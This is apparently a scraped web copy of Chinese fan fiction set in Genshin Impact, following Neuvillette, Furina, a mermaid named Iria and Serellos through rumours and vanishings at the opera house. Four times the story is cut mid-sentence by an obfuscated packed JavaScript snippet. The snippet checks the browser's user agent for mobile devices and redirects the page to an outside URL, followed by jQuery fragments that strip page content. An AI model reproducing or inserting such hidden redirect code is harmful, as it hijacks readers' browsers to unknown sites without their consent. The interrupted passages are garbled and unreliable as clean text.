然而,堪堪只是过了一个小时,他们又没人影了。 自从塞勒洛斯出狱开始带小人鱼,那维莱特除了每日工作结束,晚上回到家中能看见伊芮娅,白天是甭想瞧见鱼影子的。 对此,他也不好多说什么。中间他曾专门抽出了十分钟,与塞勒洛斯做了一个很简短的谈话,委婉地请他稍微控制一下带小人鱼出门的频率与距离。 倒也不是那维莱特存心想拘着小人鱼,不让或者不喜它跑出去玩。 实在是,塞勒洛斯加伊芮娅,这一人一鱼的组合,走在路上太过引人注目了。 比起加了一层水膜变得透明的泡泡,伊芮娅还是喜欢深蓝色的源水之滴,所以这久它出门都在源水之滴里。 本来一个普普通通的,在外人眼里的蓝色玻璃球没什么。 但是,耐不住塞勒洛斯不知道抽了什么风,嚷嚷着“愧对先生夫人三年恩情,无颜再以‘骑士’自居” ,把家传宝剑一丢,身上银盔一卸,纯黑斗篷一披,摇身一变,成了露西恩同款的黑袍2.0。 对此,那维莱特在让人观察了几天后,确认塞勒洛斯没有任何出格的举动,也就不再将它放在心上了,以为这是他独特的报恩怀念方式。 于是乎,如此一个身披黑袍,手捧蓝色水晶球的人,就这么水灵灵地出现在了枫丹的大街小巷。 事后想来,那维莱特数次扼腕叹息,应该早些时候制止他的。 可惜为时已晚,塞勒洛斯已经被无良小报以“震惊!近日清早,惊现童话怪人”的头版报道,闻名大街小巷。 一时之间,民间的各类谣传和风言风语四起。过了一日,不知道从哪传出猜想,说这个怪人是吃人的巫妖,近来城里消失的人,都是被他给吃了。 而后,又有人点出怪人每天都出入沫芒宫,甚至有几次还和水神芙宁娜走在一起,而近年枫丹海平面上涨,加之雷穆利亚帝国“法图纳号”巨轮的传说,就有人猜测,这会不会是水神弄出来的“优选方舟计划”。 风向转瞬而变,搅得人心惶惶,隐隐有山雨欲来之势。 那维莱特知道怪人内情,心疑是“鲁伯特之泪”的人故意放出风声,转移视线,可委派去查办此案件的夏沃蕾还没有传回消息,他还在忙着给露西恩一伙人收尾,也没时间着手调查处理此事。 最后,只能由盯完档案核查的芙宁娜出面,接受蒸汽鸟报记者夏洛特的采访,详细解释了怪人来历去辟谣。 蒸汽鸟报的报纸发出后,流言蜚语倒是消停了两天。 但就这么个节骨眼上,这周五晚上,有一位颇有名气的歌剧女主演在演出中途更换戏服时,凭空消失在了更衣间内。隔天,也就是昨天周六,在林尼的魔术表演上,邀请的助演男嘉宾也在道具箱内没了踪迹。 两场整个枫丹都为之瞩目的盛大表演上齐齐出了事,这下子,原先堪堪压住的谣言,就如地脉翻涌,酝酿多日的火山,重新喷发而出。 而今天周日一早,那维莱特在出门前,特意叫醒伊芮娅,嘱咐它今日不要和塞勒洛斯出门了,但很明显,伊芮娅没听进去。它和塞勒洛斯不光早上往外跑了一趟,回来之后居然没一个小时又出去了,现在房间里压根就没有人! 那维莱特罕见地有些生气,嘴角崩着,抬手探明源水之滴所在方位后,提步就往外走。 必须要把小人鱼和塞勒洛斯分开,不能再让塞勒洛斯带它了! 片刻后,隐隐约约一身杀气的那维莱特,冲到了源水之滴的所在地——一处人迹罕至的海岸。 他走近后,只见岸边一坨黑影,定睛辨认出是塞勒洛斯曲着腿,蹲在地上,源水之滴放在身侧,手里拿了个树杈子,顶端系着透明鱼线,像是在钓鱼。 那维莱特边走边瞅,没在源水之滴里看见小人鱼,莫名有种不好的预感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508731|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “塞勒洛斯,伊芮娅呢?” 那维莱特实力高强,塞勒洛斯没觉察到他的出现,被突如其来的询问惊得全身一抖。 “那维莱特先生,午好。”他飞快起身 ,将手里的树枝藏到身后,疯狂抖动手腕。 晃动的木棍带动绑在上头的鱼线,搅得原本平静无波的水面,蔓延出一圈一圈波纹。 “午安。”那维莱特礼貌回道,侧目瞟了一眼他身后异常的水面,心中虽有所猜想,但还是又问了一遍,“伊芮娅呢?” 塞勒洛斯哑声片刻,像犯错的小孩般头垂得极低,“它在水里。” 刚说完,水下传来“咿呀”一声,一个银色的小脑袋随后冒了出来。 “塞塞,看星星!”小人鱼还没瞧见那维莱特,高高捧着自己捡到的蓝色海星,特别开心。 那维莱特面色一黑,不轻不重地“咳”了一声。 伊芮娅脸上挂着的笑容刹时顿住,双手和嘴角一起慢慢落下。 那维莱特想稍微教育它两句,但又突然想到小人鱼之前跟在自己身边,一个人趴在办公桌上默默玩玩具的模样,到底是没忍心斥责。 又见开心明媚的小人鱼一见自己就蔫巴了,那维莱特心里有些闷,酝酿了半天,只干巴巴地问了句:“怎么光你下水?” 伊芮娅抬手指了指悄悄退开两步,争做背景板的塞勒洛斯。 那维莱特顺着它手的方向,偏头看过去。 塞勒洛斯嘴唇动了动,“咳咳”两下,侧脸尴尬道:“我不会水。” 紧接着,他背着的手伸出来,给那维莱特展示了一下手里攥着的树枝,很快补充道:“我不能下去,担心伊芮娅在水里迷路,给它身上绑了绳子,不会……弄丢。” 那维莱特眼瞧着这多少有点心酸的钓鱼配置,一时失语。 “先回沫芒宫吧。” 临了,那维莱特抱着伊芮娅,又回头对塞勒洛斯交代了一句,“最近流言兴起,尽量不要……外出穿着方面,低调一些。” 塞勒洛斯一脸茫然,下意识看了看自己的黑袍,“什么流言?这袍子不低调吗?” 那维莱特实在没忍住,嘴角抽了抽…… 29.Chapter 29 7.21 Sunday 中午云淡 那维莱特开道在前,伊芮娅缩在源水之滴里,仍旧飘在他右耳侧后方的老位置,他们后头约莫两三步的距离,跟着脱了黑色长袍,露出袍子里面随意套着身黑麻布长袖长裤的塞勒洛斯。 在枫丹,无论去什么地方,一般而言,走水路都是最快捷简便的方式。但为了照顾不会水,也不会飞的塞勒洛斯,那维莱特特意挑了条山路。 待回到沫芒宫,那维莱特提溜着塞勒洛斯和伊芮娅,径直到了水神休息室。 经过上回露西恩一伙的潜伏入侵,水神休息室被彻彻底底重新装修打扫了一遍,还新添置了三个警备机关常驻其中。 芙宁娜不在休息室办公,不需要这里有办公的功能,便指挥工人将整个靠窗的办公区都撤了,而后把沙发、躺椅、茶几等家具用品挪过去,空出来的,原先休息区的位置,则被改成了一个简易的甜品制作餐台。 “当当当当~” 芙宁娜不知道从哪个角落突然跳了出来。 “那维莱特,你看我新装的休息室怎么样。” “是按你喜好装修的吧,很符合你的风格。”他语气很淡,像是一点都不讶异。 这是装修好后那维莱特头一次进来,若不是芙宁娜特意留心,看没有错过他在推开门后步子一顿,站门口怔了两三秒。端看那维莱特此刻往里走的沉稳步伐和波澜无惊的口吻,还真以为他初见她费了老大心思弄出来的甜品制作台,没有产生半点情绪波动。 芙宁娜满意地勾起嘴角,本着看破不说破的想法,招呼那维莱特他们坐下,端来两盘子茶点。 那维莱特将伊芮娅抱出来,切了一小块,放到它的专属餐具中,而后视线一转,直直望向坐在他对面的塞勒洛斯。 临近正午用餐,虽有茶点垫肚子,但那维莱特吸取了之前的经验教训,并且小人鱼还在长身体,茶点这种高糖食物还是尽量少摄入一些。故而,他单刀直入问道:“塞勒洛斯先生,你之后作何打算?” “我吗?”塞勒洛斯一愣,在感受到那维莱特目光的时候,他就有所预感,在心里暗暗拟想了好几个问题,打了一肚子腹稿,却全然没想到他会问这个。 他仔细想了想,答复道:“大抵……还是留在枫丹吧。” 那维莱特与芙宁娜对视一眼。 这一回,换做芙宁娜开口:“是这样,塞勒洛斯,你的身份比较特殊,是世外的降临者。从某种层面上来说,你不受提瓦特大陆法则的约束。据你所说,你来提瓦特已经三年多了,一直待在枫丹廷。而除了枫丹,提瓦特还有其他六个国家,或许你可以出去逛逛。” 塞勒洛斯闻言微怔,“水神大人的意思是希望我离开枫丹,去其他国家?” 伊芮娅塞得鼓鼓的腮帮子一停,银发下面的耳朵很快竖了起来。 顶着塞勒洛斯骐骥的目光,芙宁娜犹豫了一瞬,最终没有否认,“是的。枫丹最近很不太平,我和那维莱特的意思……” 芙宁娜看了眼埋头吃茶点的小人鱼,继续说道:“我们的想法是,在必要的时刻,请你带着小鱼鱼离开枫丹。” 这是枫丹的命数,与异世的降临者无关,他们也不应该一无所知地被卷入枫丹的因果之中。芙宁娜挺喜欢小人鱼的,不想它为此受到牵连,而同为降临者的塞勒洛斯是照顾它最合适的人选。 芙宁娜的想法是让塞勒洛斯带着伊芮娅出去一段时间,等那个人解决了枫丹的危机,他们若是愿意,再回来。 “啊?”伊芮娅诧异仰头,先看了看芙宁娜,后面目光又转向了那维莱特。 “事关一个枫丹的预言。”那维莱特展手,示意由芙宁娜细说。 谈及正事,芙宁娜表情变得很是严肃,“所有人都会溶解在海里,只剩下水神自己在神座上哭泣。”「1」 “预言是既定的事实,一定会实现。虽然……虽然我有自己的一套应对举措,但是……”她声音就像手指一动按下的琴音,随着时间,越来越弱。 整句话伊芮娅听得懵懵的,不过关键词它倒是听明白了。 “不嘶银。”它扬起尾巴,小手还往上拍了拍。 塞勒洛斯愣了一下,紧随其后亦道:“我现在是魔法师,虽然还没有魔杖,但也不是人类。” “哈?”芙宁娜傻眼了。 小人鱼她还勉强能理解,但是塞勒洛斯这是什么说法? “说来惭愧。‘君子之泽,五代而斩’家族从最辉煌的巅峰时期,传到我已经是第七代了。我自幼骑术剑术出众,家父对我寄予厚望,期望我继承先辈之姿,复兴家族。只是我个人实在做不到骑士守则,又秉持个人正义底线,违反了骑士八大精神中最为重要的忠诚准则,背弃了先生夫人,实在不配骑士的头衔。” 说着,他突然起身,对着那维莱特行了一礼,“说来真是太感谢那维莱特先生了!” 那维莱特也被他搞迷糊了,面上虽然不显,但眼底尽是疑惑。 话不算多的塞勒洛斯一反常态,很是激动,“在您关我禁闭反思的第八天,我彻底想通了。我可能是真的不适合做骑士,所以我打算转职。那日看您凌空施法,唤水召雨好生厉害,所以我决定转职成一名魔法师。” “用提瓦特的话来说应该是,我现在每日都在虔诚地祈求水之神明,赐予我一枚水元素神之眼。” 芙宁娜:“???” 那维莱特:“……” “你们看我做什么?”芙宁娜伸手挡住脸,“我不会发神之眼啊。” 塞勒洛斯又道:“诚如水神大人所言,枫丹正在面临一个前所未有的大危机。我塞勒洛斯愿留在枫丹,尽我绵薄之力,帮助水神大人和那维莱特大人。” 芙宁娜脑子还没转过来,机械性地点了一下头,而后就听见小人鱼来了一句:“咿样,我也嘶。” 那维莱特凝视着小人鱼,陷入良久的沉默。 别的尚且可以先放一放,伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519346|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芮娅的教育,必须要提上议程了…… 芙宁娜缓了缓神,嘱咐道:“塞勒洛斯你既然要留在枫丹,黑袍就不要再穿了,影响不好……不然这样,我给你在沫芒宫安排一个职务。那维莱特,应该有合适的职位吧?” 那维莱特颔首:“沫芒宫的轮班守卫正好空缺着一人,这两天正在对外招聘,考核内容是近身格斗术。以塞勒洛斯先生的实力,想顺利应聘上,应该不成问题。” “嗯,很好。这个职位我记得是包吃包住,一个月工资五千摩拉。我可以先借你一点钱,你去重新买身衣裳,黑袍就不要再穿了。” 塞勒洛斯立马单膝跪地,行一大礼道谢。 稍许,他惑问道:“这几日我出入沫芒宫 ,看守卫都有统一的服饰,我需要买其他衣服吗,要买几套,然后具体是要买些什么品类?” “……”芙宁娜无语道,“干脆一会我带你去买好了。” “那实在是太感谢水神大人了!”钝感力超绝的塞勒洛斯换换喜喜感谢道。 “咿呀!”伊芮娅真切地感受到了塞勒洛斯周身弥漫着的愉悦,也跟着笑了起来。 芙宁娜:“……” 塞勒洛斯:“对了,那伊芮娅怎么办?也还是由我来带吗?” 那维莱特赶忙道:“这几日多谢你照顾伊芮娅,之后……我想应该不需要了。我给伊芮娅请了一位美露莘老师,很快它就要去上课了。” “嘛呀?”伊芮娅歪头不解。 那维莱特:“教你发音吐字练习说话,然后再学习一些提瓦特大陆的常识,课程总体看下来,很轻松。” 小人鱼高兴地冲那维莱特比了一个尾鳍爱心。 那维莱特:“但是需要你去海沫村住上一个月左右。” 小人鱼撤回了一颗爱心,身子一转,抱着手,尾巴在桌子上一拍一拍。 那维莱特无奈哄了两句,芙宁娜看了会笑话,在瞅见从伊芮娅紫眸里滚落的泪珠之后,也慌慌忙忙加入了那维莱特,开始一起哄。 然而一龙一人连哄带骗半天,完全哄不好小人鱼,白莹的泪珠子一直噼里啪啦往下掉,塞勒洛斯眼疾手快地猫着身子,都已经捡了一把小珍珠。 “好了。”最后,那维莱特无奈妥协,“我每日接送你去海沫村学习,可以吗?” 伊芮娅小声“嗯呀~”一声,算做是答应了。 于是乎,在一起用过德波大饭店送来的午餐之后,芙宁娜和那维莱特,一人一龙,各带着一个“令人头疼的对象”分做两路,忙活去了。 那维莱特回到办公室,还是老样子,将伊芮娅放在桌子上,开始翻看起书记官刚刚整理出来,送到他手上的近三年来,疑似“鲁伯特之泪”组织作恶行凶的案卷。 按理来说,这种案子不需要他亲自处理,但他看水神芙宁娜自流言传出后,近日的表现实在奇怪。 同时,那条他一直没有放在心上的预言,芙宁娜却由其重视,甚至于……畏惧? 30.Chapter 30 7.21 Sunday 下午风骤 办公无趣,但伊芮娅也好些天没和那维莱特待在一起过了。之前,那维莱特早起出门,它还没醒;他白天忙于工作,它在和其他临时监护人玩;晚上他回屋休息,它已经早早睡下。基本是处在一个同在屋檐下,一天难见面的情况。 面对久违的陪伴,小人鱼反倒是显得有些兴致勃勃,铆足劲儿地睁大双眼,望着那维莱特处理公务。 枫丹七月的天,阳光松软、清风阵阵,不干不躁不热不闷,很是惬意闲适。 那维莱特背光而坐,轻薄的蓝色纱织窗帘精挑细选地筛除了部分刺眼夺目的日光,只恰到好处地放了些柔和乖巧的光线透过来,在照亮房间的同时,也不过分明亮。 真是悠哉的一天~ 当然,这只是对无所事事的小人鱼伊芮娅而言,身兼要职那维莱特则可是十年如一日地忙忙碌碌。 这不,下午枫丹法定的上班时间刚过半个小时,就已经有两拨人来到了办公室,找那维莱特汇报完近期工作了。 眼下,在机械时钟指示到两点三十九分的时候,办公室的木门被第三次叩响了。 这回来的,是林尼和琳妮特。 “那维莱特先生,下午好。”林尼推开门,没忙着进去,站在门口,不动声色快速往屋子里环视了一圈,见办公室里只有那维莱特一个人,问道,“看来我们来得有些早,需要在外稍等片刻,等科斯蒂亚芜小姐过来,再一起进来吗?” 那维莱特抬眼扫了眼钟表,距离日程上排好的,与演员消失案重要涉案人员的谈话还有二十分钟,林尼和琳妮特他们确实来早了些。 “两位先进来坐,尚未到会谈时间,烦劳两位稍作等候。”那维莱特展手,五指的方向对这办公室里的休息区,暗示他们耐心坐着等一等。 “自从昨儿下午出了那事,我一晚上都没休息好,早上又表演了一场两个小时的魔术演出,现在疲累的紧,就不多加推辞那维莱特先生的美意了。” 那维莱特颔首,而后继续垂下头,继续翻阅起半个小时之前,才送到他手上的卷宗。 周五晚上,由著名小说改编而成的歌剧《玛格丽特》在欧庇克莱歌剧院首次表演。「1」 由闻名提瓦特的歌剧王后科斯蒂亚芜小姐出演女一号玛格丽特,其现任男友,同时也是歌剧界冉冉上升的新星卢卡斯先生扮演男一号阿尔芒。 而在表演途中,去更衣间更换戏服消失不见的,是科斯蒂亚芜小姐在外逛街时意外看中,特意举荐给剧组,担任女二号普吕当丝的索菲玛娜小姐。 因为她是女二号,而且还是科斯蒂亚芜小姐推荐来的人,所以索菲玛娜小姐拥有一个单人的化妆更衣间。 对于一部歌剧来说,首次登台的效果与反馈,几乎就决定了这部歌剧最终能达到什么样的高度。是以,当时所有剧组成员都在忙着演出,全身心盯在演出上面,没有留意到索菲玛娜小姐到底有没有离开更衣间。 索菲玛娜小姐需要更换衣服的戏份在第三幕,首次亮相则是在第一幕,而第二幕是男女主的情感戏份,她不需要上场。 也就是说索菲玛娜小姐有整整第二幕约莫半个小时的时间,去更换衣服和妆容。对于歌剧表演来说,这个更衣时间,实在是太过宽裕了。 并且索菲玛娜小姐完完全全是一名歌剧新人,在科斯蒂亚芜小姐介绍她来出演歌剧角色之前,她只是一个普普通通、平平无奇,顶多算长得小有姿色的商场柜员。 这个歌剧职场一飞冲天的新人身份,给索菲玛娜小姐带来的,比起鲜花与夸赞,污蔑、歧视与阴谋反而数量更多,就如三座大山,死死压在她的头上。 以上种种情况相加,就使得索菲玛娜小姐在剧组的地位很是尴尬。在科斯蒂亚芜小姐面前,众人对她热情友善,等科斯蒂亚芜小姐一离开,索菲玛娜小姐几乎变成了剧组的透明人,没有人愿意与她亲近。 所以,在演出当天,索菲玛娜小姐在顺利完成第一幕的演出下台之后,就进入了更衣间换衣服,第二幕的演出很快开始,众人心思都落在台上,没有人注意到索菲玛娜小姐有没有出过更衣室,也不知道她是自己悄悄离开了,还是真的在更衣室或者歌剧院的什么地方失踪了。 等到了索菲玛娜小姐候场,准备登台继续演出的时候,剧组成员才发现她消失不见了。急慌慌找了小半天,不但没找到人影,就连女二号普吕当丝的备用戏服都没有找到。领队焦急之下,只得临时让剧组的替补女演员,随便换了身还算像样的戏服,匆匆登场,演完了《玛格丽特》。 然而与女二号普吕当丝人设完全不相符的衣服,和与第一幕五官大相径庭的面容,还是使全场观众,敏锐地从中嗅出了一丝不同寻常的味道。 就此,索菲玛娜小姐的失踪被曝光了出来。 转眼到了周六下午,在林尼和琳妮特的魔术表演上消失的,是一位坐在观众席,被抽签盒幸运摇中的,十一排一十四号座位的陌生男子。 这场魔术表演的是空间瞬移的戏法,大抵就是在舞台下方修一个地道,将进入木箱中的助演嘉宾通过地道,悄悄移往另一个地方。 这次魔术,是林尼首次全互动无助演,只依靠机关和魔术师本身的魔术。 箱子里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533640|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签球是真的,这名观众也是真的。 林尼事先预演过数次,可以说已经做到了万无一失的水准,但他当天的表演,失败了。 邀请参与的观众本已经进入了地道,却莫名消失在了地道中,等机关打开的时候,林尼看见了从舞台上传送过去的,标有隐秘记号的内嵌式道具木箱,却不见助演观众踪迹。 幸好,林尼反应快,遮掩了过去,让观众当时以为这是林尼刻意玩弄活跃的戏法。 可在表演结束谢幕的时候,有记者跳了出来,指认林尼魔术失败。经过他振振有词的一通分析之后,不少观众都相信了他的言论,而林尼又交不出助演观众,说不清他的下落,舆论当即向一边倒了过去。 两件事,都在欧庇克莱歌剧院里发生的,都是表演过程中的失踪案件。而近来枫丹又对“失踪”这个问题太过敏感。 顷刻之间,压下的谣言重新复苏,甚至仿佛得到了全新的滋养品,瞬间焕发出无限生机,将整个枫丹都笼罩在漫天飞扬的流言蜚语之中。 兹事体大,这两个案子,第二天一早,熬夜加班工作了一夜的书记官,就把大致情况的简述刚要送到了那维莱特的办公桌上,并在得到他的明确指示后,紧急整理出案件卷宗,赶在那维莱特下午与两起失踪案的直接关系人会面之前,递交了过来。 等那维莱特全部翻阅过一遍,坐到休息区的沙发上,与林尼和琳妮特面对面的时候,科斯蒂亚芜小姐来了。 那维莱特曾被芙宁娜拉着看过几场她主演的歌剧,很是欣赏精妙的演技与完美的歌喉,对她印象颇深。 而科斯蒂亚芜小姐今日,却完全不似往日里站在舞台上的模样,一身宝石绿色的丝绒连衣裙,头戴帷帽,比起舞台上的光彩,这身打扮可谓是尽显朴素。 “那维莱特大人,林尼先生、琳妮特小姐,不好意思,我在来的路上遇到点麻烦,耽搁了一会,实在对不起,让你们等了我这么长时间。” 她撩起裙摆屈膝行了一礼,而后缓缓坐下,端起放在桌上的茶杯,轻轻抿了一口后道:“那维莱特大人,我想问问您,这场谈话大概需要多长时间,我四点还有一个活动,可能时间上……稍有些匆忙。” 那维莱特瞥了一眼分针已经指向数字五的挂钟,淡淡回道:“如果科斯蒂亚芜小姐配合,应该很快,不会超过一个小时。” “那就太感谢了,那维莱特大人。”科斯蒂塔芜笑道,“我四点的活动非常重要。” 那维莱特“嗯”了一声,目光扫过坐在他对面的三人,问道:“索菲玛娜小姐和那位无名观众在失踪之前,你们都没有察觉到任何异样吗?” 31.Chapter 31 7.21 Sunday 下午阴云 林尼在稍加回忆后,率先摇了摇头,“没有。我和林妮特都不认识抽到的助演观众,就他当时的表现来看,我们没有发现不对劲的地方。但不排除是我们不熟悉他,对他的细微习惯不太了解,可能他当时有什么异常,我们没有发现。” 话落,林尼自然而然地看向坐在一侧单人沙发上的科斯蒂塔芜。 科斯蒂塔芜放下茶杯,双手极其随意地张开搭在椅背上,右腿一屈搭在左边膝盖骨上,懒懒打了个哈欠,“我也一样。索菲玛娜小姐虽然是我举荐给剧组的人,但我只是在逛街的时候遇到了她。她那时在做化妆用品的柜台小姐,我去买新出的限定彩妆,是她接待的我。” “付款的时候,我随身助理接到家里电话临时请假走了,我出门没有带钱的习惯。我就想挂账或者让她帮忙代付,过后再把钱送过来。可惜店里不允许挂账,她又说自己没有这么多钱,付不出来。没办法,我只好回家取了趟钱。” 那维莱特越听越耳熟,低头翻开案卷对了对,发现她现在讲的,与昨日给她做的笔录一样。 “我买的东西不多,也不贵,她给我打包的时候,我就顺带问了一句她工资多少。索菲玛娜说上个月她不小心打碎了一瓶顶奢的香水,欠了不少钱,需要赔偿店里三个月的薪水。手里的存款只够勉强生活,不够垫付我买的东西。” “我见她长相不错,声音好听,人也实诚。尤其是周身气质,特别符合《玛格丽特》里的女三号。刚好那时候剧导天天在为女三的人选发愁,问过她个人意愿之后,我就将她推荐给了剧导。” 科斯蒂塔芜顿了顿,重新抬起茶杯,翘起兰花指捏着茶盖刮了刮茶香,“她是我推荐的人不错,可我对她也不是很了解,而且……” 她这“而且”两字,不经意间带上了极其强烈的个人感观情绪。 那维莱特听到后,本能地抬眉凝目,往她所在的方向看了过去。 “我就直说了吧,她的性子太闷而且太软弱了,我不喜欢。我和她也聊不上来,平时的交流也不算多。这些我昨日全部都与逐影庭的人说过。我和她实际上就萍水之缘,知道的,就这么多。什么她在剧组的人际关系啊、个人情况啊、常去哪晃悠一类的问题,我都不知道,我也不关心。” “嗯,大致情况我了解了……科斯蒂塔芜小姐,请你回想一下,谁最有可能知道索菲玛娜小姐的情况。”那维莱特翻出书记官准备好的问题纸,照着念了第一个。 “我刚刚不是才说了,我、不、知、道啊?” “……”那维莱特沉默着挨个看了一遍预先准备好的问题,发现一整页都是逐影庭已经做过笔录了的问题。 气氛霎时变得无比尴尬。 林尼左右看了看,犹豫片刻后突然起身,却像是撞到桌子被绊了一下似的,身子踉跄向斜前方一跌,后甩飞起的手却反勾住了帽子。 科斯蒂娜芜见他冲着自己来了,下意识往后一缩。 下一瞬,一朵彩虹蔷薇蓦然绽放。 “这是……”科斯蒂娜芜愣愣接过花。 林尼两指捏着帽檐,行了一礼,“科斯蒂娜芜小姐,愿你每天明艳如火,肆意洒脱。” 科斯蒂娜芜翘着的腿落到地上,瞬间坐得笔直,垂头,轻吻过花束,嘴角弯起一个没有进过修饰与练习调整的笑容。 “谢谢你,林尼先生。这是我烦躁的整个七月中,最开心的时刻。” 适时,担任秘书的一位美露莘抱着茶壶,推门进来添茶。在将四杯茶都加过一遍后,她又很快退了出去。 科斯蒂娜芜从包里摸出一块手持镜,将彩虹蔷薇插到自己的头发上,而后重新端起茶杯,低眉看着续满的茶杯。 “卢卡斯和她走得很近。”她轻声道。 已经对外公开是她男朋友的卢卡斯和索菲玛娜走得很近? 双手抱着茶杯,一直没吭气的琳妮特忽然开口:“不正常。” 科斯蒂娜芜没再多说什么,深深叹了一口气,“我相信那维莱特大人、林尼先生和琳妮特小姐,这件事,请你们务必不要对外说出去。” “时间不早了,我还要赶去参加四点钟的活动。抱歉那维莱特大人,恕我先走一步。” 那维莱特很好说话的点了点头同意了,等科斯蒂娜芜走后,余光扫了一眼墙上的挂钟。 挂钟显示的时间是两点三十九分,离四点还有足足一个多小时。 科斯蒂塔芜走了,屋里只剩下林尼和琳妮特两兄妹。 不等那维莱特询问,林尼主动开口道:“抽签盒有两个,按歌剧院排数和列数,里的乒乓球和上面的刻字琳妮特在拿上台之前还检查过,没有问题。抽签是我请了三位观众上来,随便摸数字相加相除得出一组整数的平均数。一共请了十个人摸球,才刚好凑到了可以整除的和数。” “十一排十四号座位,百分百之百是随机抽到的数组,不存在提前预设的可能。”林尼半眯下眼,郑重其事道,“我觉得,这不是意外,更像是借这我们的表演,实行的一场有预谋的谋杀。” “谋杀?”那维莱特犀利反问道,“你怎么判断出来的,不是‘失踪’,而是‘谋杀’?” 林尼手一甩,不知道从哪里变出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546403|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张图纸,展平摊在桌上子,回道:“未知观众在魔术途中消失,而那条地道,是我们专门为了这个魔术新挖的。那维莱特大人,你看地道图纸。” “地道的出口和入口,一个在舞台上,一个在观众席后方,都连通了用机关卡死位置的木箱。舞台入口有内嵌道具箱,无法进入地道,而出口的木箱,则被我用元素力封住了,只有我能打开。” “也就是说,在不破坏地道结构的前提下,整条地道只能通过魔术内嵌道具箱通行。而事后我们检查过,地道没有任何损毁的痕迹,进出口的木箱也都没有被动过。唯独……唯独在内嵌道具箱的顶端,木头的颜色变深了,摸上去也是潮湿的触感。” “所以那名观众是站在内嵌道具箱里,在地道移动的过程中消失的。但地道内部没有打斗痕迹,更没有血迹,除了魔术道具传送带在泥土上留下的痕迹之外,地道里多出来的东西,只有一滩融入泥地里的水。刚好对上了内嵌道具箱网格状的底部。” 那维莱特:“网格状底部?” “是的。因为木箱在移动,过程中会有些小的颠簸,用网格状的镂空底部,可以有效削弱脚底与内嵌道具箱的接触面积,从而减少身体对震动的感知。” 林尼吸了口气,严肃道:“我猜测,这是一桩密室凶杀,凶手一定是用了什么奇怪的药剂,倒挂在了内嵌道具箱上方,在地道里将人溶解成了水。” “往往最不可能的猜想,就是真实。哥哥的观点是目前解释观众消失,最贴合现场证物的推演了。”琳妮特语气平稳,不含一丝情绪客观评价道。 那维莱特深思片刻,颔首记下了林尼的说法。 该问的,该查的,逐影庭都在做了。这两起失踪案虽然造成了极大的社会舆论,但也没到需要最高审判官亲自查办的地步。 那维莱特此刻与他们谈话,实际上只起到了一个形势上的作用。 明天早上八点钟,《最高审判官那维莱特与演出失踪案涉事人员谈话,发言表示对此事高度重视,将加强监督力度,督促专案组以高效率、高质量、高准度查明批捕凶犯》的报道将会在蒸汽鸟报上刊出。 接着,报纸一发,整个枫丹在中午吃饭之前,都将知道那维莱特对这件事情高度重视,即给群众吃了颗定心丸,又侧面回复压制了疯起的舆论,还给凶犯上了上压力,算是一桩一石三鸟之策。 只是没想到,今儿的谈话,还真给那维莱特问出东西来了。 他撕下一张纸条,在上面写下“卢卡斯”三个字,交给美露莘秘书,嘱咐她私下去查,继而又将方才写下林尼推测的笔记本拿给了书记官。 32.Chapter 32 7.22 Monday 天明晴日 翌日一早,那维莱特早早叫醒了在贝壳床里,睡着睡着就倒了一百八十度,怀里抱着海草小被子,尾巴缠在贝壳上下半链接处,将赖床进行到底的小人鱼。 伊芮娅没睡醒,还有点不开心,闹起了床气,鼻子里哼唧哼唧的,闭着眼睛,手软尾巴软,任由那维莱特略显笨拙地摆弄着它,给它穿裙子。 平日伊芮娅都很配合,那维莱特给它穿衣服一点也不费力,今儿可倒好,他刚轻轻捏着小人鱼的右手穿过吊带,手一放,想穿左边的时候,右边的带子已经顺着肩膀滑落下来了。 折腾了一会,那维莱特勉勉强强给伊芮娅穿上了裙子,全程都很有耐心,没有一点不耐或者生气的情绪表现。 然而,在他抱起小人鱼,将伊芮娅放到餐桌上,看见它又开始迷瞪着眼睛,头一点一点的,手里握着勺子,随意拨弄着碗里的麦片,装作在吃,但是半天不往嘴里送上一口的时候,那维莱特有点忍不住了。 